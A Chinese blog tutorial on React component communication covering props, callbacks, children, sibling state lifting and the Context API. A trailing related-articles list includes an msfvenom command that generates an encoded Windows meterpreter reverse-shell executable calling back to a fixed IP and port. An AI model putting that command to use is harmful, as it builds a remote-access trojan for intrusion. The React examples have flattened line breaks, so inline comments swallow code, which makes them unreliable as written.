React 组件之间的通信
React 组件通信
对于 React 组件之间的通信,我们首先了解一下 React 组件通信的设计理念。
单向数据流(Unidirectional Data Flow)
数据流向明确: 在 React 中,数据总是从父组件流向子组件(通过 Props 传递),而子组件则通过调用父组件传入的回调函数来“反馈”数据。这种单向数据流使得数据依赖关系清晰,便于理解和调试。
降低复杂度: 单向数据流让状态管理更集中,当应用变得复杂时,可以通过“状态提升”(Lifting State Up)将共享状态上移到最近的公共祖先组件,从而统一管理。
组合优于继承(Composition Over Inheritance)
组件组合: React 倡导通过组件组合来构建复杂 UI,而不是依赖继承。每个组件封装自身逻辑,通过 Props 进行数据传递和行为控制。这样不仅增强了复用性,也提高了组件间的独立性。
显式通信: 通过明确的 Props 传递和回调函数,组件之间的依赖关系显式展现,而不是通过隐式的全局事件或信号进行耦合。
函数式编程理念
纯函数组件: React 鼓励将组件设计为纯函数——即根据输入(Props 和 State)返回对应的 UI。这样可以使组件行为更加可预测,减少副作用,从而提升整体的可维护性。
不可变性: 数据不直接在组件内部修改,而是通过创建新数据来更新状态,这有助于实现高效的虚拟 DOM Diff 算法。
明确的责任分离
父组件管理状态: 父组件负责管理数据状态,并将状态和行为(回调函数)通过 Props 传递给子组件。子组件只负责展示和局部交互,不直接管理状态,确保数据的“单一来源”(Single Source of Truth)。
组件边界清晰: 这种设计使得每个组件都有明确的责任,父组件掌控数据流,子组件则专注于 UI 展示和局部交互。
易于调试与维护
数据流可追踪: 由于所有数据变化都是通过显式的 Props 和回调传递的,开发者可以轻松追踪数据从哪个组件流向另一个组件,这在大型应用中尤为重要。
工具支持: React 的调试工具(如 React DevTools)可以直观展示组件树、Props 和 State,使得问题定位更迅速。
React 通过单向数据流、组件组合、明确的责任分离以及函数式编程的理念,设计出了一种既简洁又高效的组件通信方式。这种设计不仅提升了代码的可维护性和调试性,也与 React 的虚拟 DOM 渲染机制和整体架构高度契合。
React 组件通信方式
根据组件之间的嵌套和层级关系,我们可以将 React 组件通信分为以下几种场景:
- 父子组件通信
- 兄弟组件通信
- 跨级组件通信
父子组件通信
父组件向子组件传递数据,子组件通过 Props 接收。例如:
function Son(props) {return (<div><p>数值:{props.age}</p><p>字符串:{props.name}</p><p>数组:{props.arr}</p><p>对象:name: {props.obj.name}, age: {props.obj.age}</p><p>布尔值:{props.bool}</p><p>函数:{props.fn()}</p></div>)
}function App() {const age = 18; // 数值const name = '小明'; // 字符串 const arr = [1,2,3,4,5]; // 数组const obj = {name:'小明', age:18}; // 对象const bool = true; // 布尔值// 函数const fn = function(){return '我是函数';} return (<div className="App"><Son age={age} name={name} arr={arr} bool={bool} fn={fn} obj={obj}> </Son></div>)
}export default App;
父组件通过属性将数据传递给子组件,子组件通过 props 接收。props 是一个约定成俗的使用方式,它是一个对象,包含了父组件传递给子组件的所有属性。
那么如何将子组件的数据传递给父组件呢?答案是子组件通过调用父组件传入的回调函数来“反馈”数据。例如:
import { useState } from 'react';function Son(props) {return (<div><button onClick={() => props.fn(props.age)}>点击</button></div>)
}
function App() {const [age, setAge] = useState(18);const fn = (age) => {setAge(age + 1);}return (<div className="App"><p>{age}</p><Son age={age} fn={fn}></Son></div>)
}
export default App;
在父组件中,将 age 设置为 state,通过 setAge 来更新 age 的值。在子组件中,我们通过 onClick 事件调用父组件传入的 fn 回调函数,并将 age 作为参数传递给 fn。这样,子组件的数据就可以通过 fn 回调函数传递给父组件。
特殊的 prop children
在 React 中,有一个特殊的 prop,即 children。children 是一个特殊的 prop,它表示组件的子节点。在组件中,我们可以通过 children 来获取子节点,并通过子节点来渲染内容。例如:
function App() {return (<div className="App"><Son><p>我是子节点</p></Son></div>)
}function Son(props) {return (<div>{/* 子节点 */}{props.children} <p>我是子组件</p></div>)
}export default App;
在 App 组件中,我们通过 Son 组件的子节点来渲染内容。在 Son 组件中,通过 props.children 来获取子节点,并通过子节点来渲染内容。这样,子组件就可以通过 props.children 来获取子节点,并通过子节点来渲染内容。
兄弟组件通信
在 React 中,兄弟组件可以通过父组件来通信。例如:有一个名为 APP 的父组件,它有两个子组件 A 和 B,我们现在需要 A 和 B 组件之间进行通信,那么我们将父组件 APP 作为中转站来分发数据。这正体现了 React 组件通信设计理念中的明确的责任分离,父组件管理数据状态,子组件只负责展示和局部交互。
下面是一个例子:
import { useState } from 'react';
function SonA(props) {return (<div><p>数值1:{props.age}</p><button onClick={() => props.fn(props.age)}>点击1</button></div>)
}
function SonB(props) {return (<div><p>数值2:{props.age}</p><button onClick={() => props.fn2(props.age)}>点击2</button></div>)
}
function App() {const [age, setAge] = useState(18);const fn = (age) => {setAge(age + 1);console.log('A');}const fn2 = (age) => {setAge(age - 1);console.log('B');}return (<div className="App"><SonA age={age} fn={fn} ></SonA><SonB age={age} fn2={fn2}></SonB></div>)
}
export default App;
在 App 组件中,我们定义了两个子组件 SonA 和 SonB,它们都通过 props 接收父组件的 age 值,并通过 props.fn 和 props.fn2 来调用父组件的 fn 和 fn2 回调函数。这样,A 和 B 组件就可以通过调用父组件的 fn 和 fn2 回调函数来通信。
跨级组件通信
跨级组件通信,即指组件之间不在父子关系中,而是位于不同层级的组件之间进行通信。在 React 中,我们可以通过使用 Context API 来实现跨级组件通信。
- 创建 Context
- 使用 Provider 将数据传递给 Context
- 使用 Consumer 获取 Context 中的数据
下面是一个跨级组件通信的例子:
import React, { createContext, useContext, useState } from 'react';
const MyContext = createContext();
function Son() {const { age, setAge } = useContext(MyContext);return (<div><p>数值1:{age}</p><button onClick={() => setAge(age + 1)}>点击1</button><GrandSon></GrandSon></div>)
}
function GrandSon() {const { age, setAge } = useContext(MyContext);return (<div><p>数值2:{age}</p><button onClick={() => setAge(age - 1)}>点击2</button></div>)
}
function App() {const [age, setAge] = useState(18);return (<MyContext.Provider value={{age, setAge}}><div className="App"><Son></Son></div></MyContext.Provider>)
}
export default App;
在 App 组件中,我们创建了一个 MyContext,并通过 Provider 将 age 和 setAge 作为 value 传递给 MyContext。然后,在 Son 和 GrandSon 组件中,通过 useContext(MyContext) 来获取 MyContext 中的 age 和 setAge。
注意到 APP 和 Son 之间是父子组件关系,但是也可以以通过 Provider 将数据传递给 Son。实际上,对于 React 中所有的组件,都可以通过 Context API 将数据在它们之间进行传递。
相关文章:
React 组件之间的通信
React 组件通信 对于 React 组件之间的通信,我们首先了解一下 React 组件通信的设计理念。 单向数据流(Unidirectional Data Flow) 数据流向明确: 在 React 中,数据总是从父组件流向子组件(通过 Props 传…...
[C++面试] span<char>和string_view的差别
1、概念 std::string_view是领域特定设计(字符串)。C17引入,仅用于处理以空字符(\0)结尾的字符序列;仅支持字符类型(如 char、wchar_t、std::string),用于高效访问字符串…...
在 VMware Workstation 17 中安装的 Ubuntu 虚拟机无法使用桥接模式
在 VMware Workstation 17 中安装的 Ubuntu 虚拟机无法使用桥接模式时,通常是由于 网络配置错误、桥接适配器选择不当或主机网络环境限制 导致。以下是详细的排查和解决方法:我采用第一步就解决了问题 1. 检查 VMware 桥接模式配置 步骤 1:…...
谐波和三相不平衡度
谐波(Harmonics) 谐波是指在电力系统中,由于非线性负载的作用,导致电流或电压波形偏离理想正弦波形的现象。具体来说: 定义: 在理想情况下,交流电的电压和电流波形是正弦波。然而,由于电力系统中存在非线性负载(如变频器、整流器、开关电源等),这些负载会使得电流或…...
深克隆和浅克隆(建造者模式,内含简版)
让我们来看一个例子: 设计一个客户类Customer,其中客户地址存储在地址类Address中,用浅克隆和深克隆分别实现Customer对象的复制并比较这两种克隆方式的异同。 代码实现 Customer类和Address类都是实现的Java 内置的 java.lang.Cloneable …...
印刷电路板 (PCB) 的影响何时重要?在模拟环境中导航
我和我的同事们经常被问到关于 PCB 效应的相同问题,例如: 仿真何时需要 PCB 效果? 为什么时域仿真需要 PCB 效应? 当 PCB 效应必须包含在仿真中时,频率是否重要? 设计人员应该在多大程度上关注 VRM 模型中包…...
循环队列 bug
1. 题目描述 spfa判断负环 LC 设计循环队列 2. 普通单队列 int q[N]; int hh 0, tt -1; while(hh < tt) // empty {int t q[ hh ]; // push/* do something */q[ tt ] j; // pop }3. 错误的循环队列 int q[N]; int hh 0, tt -1; while(hh ! (tt 1) % N) // 非空 …...
Leetcode 最小基因变化
java solution:BFS 算法 class Solution {public int minMutation(String startGene, String endGene, String[] bank) {//首先创建一个集合来存储有效基因串Set<String> bankSet new HashSet<>(Arrays.asList(bank));if(!bankSet.contains(endGene))…...
输出输入练习
1. 题目:这个程序将向用户提出一个"y/N"问题,然后把用户输入的值赋值给answer变量。要求:针对用户输入y或y 和N或n进行过滤 #include <iostream>using namespace std;int main(){char answer;cout<<"请问可以格式…...
人员进出新视界:视觉分析算法的力量
视觉分析赋能离岗检测新策略 随着时代的发展,失业率增加,社会安保压力也随之增大。企业为了提升管理效率,保障园区安全,对员工离岗检测的需求日益迫切。传统的离岗管理方式,如人工巡逻、打卡记录等,不仅效率…...
3DGS较真系列
引言 机器视觉领域中,新颖视图合成技术的核心目标是通过图像或视频构建可以被计算机处理和理解的3D模型。该技术被认为是机器理解真实世界复杂性的基础,催生了大量的应用,包括3D建模、虚拟现实、自动驾驶等诸多领域。回顾其发展历史…...
MSF木马的生成及免杀
先简单生成一个木马 ┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…...
人工智能与无人机:无人机的进步与应用技术详解
人工智能(Artificial Intelligence,简称AI)是一门研究、开发用于模拟、延伸和扩展人类智能的理论、方法、技术及应用系统的新技术科学。 无人机,全称为无人驾驶飞行器(UAV),也称为无人机器人、…...
LeetCode算法题(Go语言实现)_12
题目 给定一个长度为 n 的整数数组 height 。有 n 条垂线,第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线,使得它们与 x 轴共同构成的容器可以容纳最多的水。 返回容器可以储存的最大水量。 一、代码实现 func maxArea(height []…...
“11.9元“引发的系统雪崩:Spring Boot中BigDecimal反序列化异常全链路狙击战 ✨
💥 "11.9元"引发的系统雪崩:Spring Boot中BigDecimal反序列化异常全链路狙击战 🎯 🔍 用 Mermaid原生防御体系图 #mermaid-svg-XZtcYBnmHrF9bFjc {font-family:"trebuchet ms",verdana,arial,sans-serif;fon…...
SQL注入零基础学习二MYSQL手工注入
1.SQL注入之sqli-labs环境搭建 1.Sqli-labs项目地址—Github获取:GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based. Sqli-labs环境安装 需要安装以下环境 apachemysqlphp Windows版phpstudy下载 - 小皮面板(phpstudy…...
可以媲美YOLO的开源实时目标检测模型:RF-DETR,在 COCO 上达到 SOTA 水平,并专为微调设计
RF-DETR:SOTA 实时目标检测模型 RF-DETR 是由 Roboflow 开发并基于 Transformer 的实时目标检测模型架构,采用 Apache 2.0 许可证发布。 RF-DETR 是第一个在 Microsoft COCO 基准测试中超过 60 AP 的实时模型,同时在基础尺寸下具有竞争力。…...
【hadoop】hadoop streaming
API: https://hadoop.apache.org/docs/stable/hadoop-streaming/HadoopStreaming.html(hadoop3) https://cwiki.apache.org/confluence/display/HADOOP2/HadoopStreaming(hadoop2) hadoop version查看hadoop版本&#…...
Unity-RectTransform设置UI width
不知道有没人需要这样的代码,就是.sizeDelta //不确定是不是英文翻译的原因,基本很难理解,sizeDeltaSize,//未必完全正确,但这么写好像总没错过 //image 在一个UnityEngine.UI.Image 的数组内foreach (var image in l…...
开发中后端返回下划线数据,要不要统一转驼峰?
先说结论。看情况!!!! 前端 主要用 JS/TS 建议后端返回 camelCase,减少前端转换成本。后端 主要是 Python/Go 建议保持 snake_case,前端做转换。但是团队统一风格最重要!如果统一返回驼峰就驼峰…...
【现代深度学习技术】现代卷积神经网络04:含并行连接的网络(GoogLeNet)
【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈PyTorch深度学习 ⌋ ⌋ ⌋ 深度学习 (DL, Deep Learning) 特指基于深层神经网络模型和方法的机器学习。它是在统计机器学习、人工神经网络等算法模型基础上,结合当代大数据和大算力的发展而发展出来的。深度学习最重…...
链表-LeetCode
这里写目录标题 1 排序链表1.1 插入法 O(n)1.2 归并排序 1 排序链表 1.1 插入法 O(n) /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* ListNode() : val(0), next(nullpt…...
TypeScript 与 JavaScript 对比
核心概念对比 JavaScript 语言类型:动态类型脚本语言诞生时间:1995年(ES1标准)类型系统:运行时类型检查文件扩展名:.js编译需求:无需编译,直接执行 TypeScript 语言类型…...
Selenium之Web Driver常用属性
Web Driver常用属性 在上一篇文章里我们安装并且使用了selenium来操控浏览器;这一节我们来看一下Driver的一些常用属性;可以方便和浏览器进行交互 废话不多说,下面以实践为主 获取浏览器名称 browser_name browser.name print(browser_n…...
EF Core 执行原生SQL语句
文章目录 前言一、执行查询(返回数据)1) 使用 FromSqlRaw或 FromSqlInterpolated 方法,适用于 DbSet<T>,返回实体集合。2)结合 LINQ 查询 二、执行非查询操作(增删改)1&#x…...
新版 eslintrc 文件弃用 .eslintignore已弃用 替代方案
1.进入eslint.config.mjs文件 2.import { defineConfig, globalIgnores } from "eslint/config"; 引入globalIgnores 3.配置 defineConfig([ ... globalIgnores([ "config/*", ".husky", ".local", "public/*", ".…...
Python二分查找【清晰易懂】
1. 二分查找是什么? 想象你在玩“猜数字”游戏: 对方心里想一个 1~100 的数字,你每次猜一个数,对方会告诉你是“大了”还是“小了”。 最快的方法:每次都猜中间的数!比如第一次猜50,如果大了&…...
Azure SDK 使用指南
Azure SDK(软件开发工具包)是一组由微软提供的工具和库,旨在帮助开发者以多种编程语言(如 .NET、Java、Python、JavaScript 等)与 Azure 服务进行交互。 通过使用 Azure SDK,开发者可以更高效地构建、部…...
【STL】vector介绍(附部分接口模拟实现)
文章目录 1.介绍2.使用2.1 vector的构造2.2 vector空间相关接口2.2.1 size()2.2.2 capacity()2.2.3 empty()2.2.4 resize()2.2.5 reserve() 2.3 vector的增删查改2.3.1 push_back()2.3.2 insert()2.3.3 pop_back()2.3.4 erase()2.3.5 swap()2.3.6 operator[]注:关于…...
一周掌握Flutter开发--8. 调试与性能优化(上)
文章目录 8. 调试与性能优化核心技能8.1 使用 Flutter DevTools 分析性能8.2 检查 Widget 重绘(debugPaintSizeEnabled)8.3 解决 ListView 卡顿(ListView.builder itemExtent) 其他性能优化技巧8.4 减少 build 方法的调用8.5 使用…...
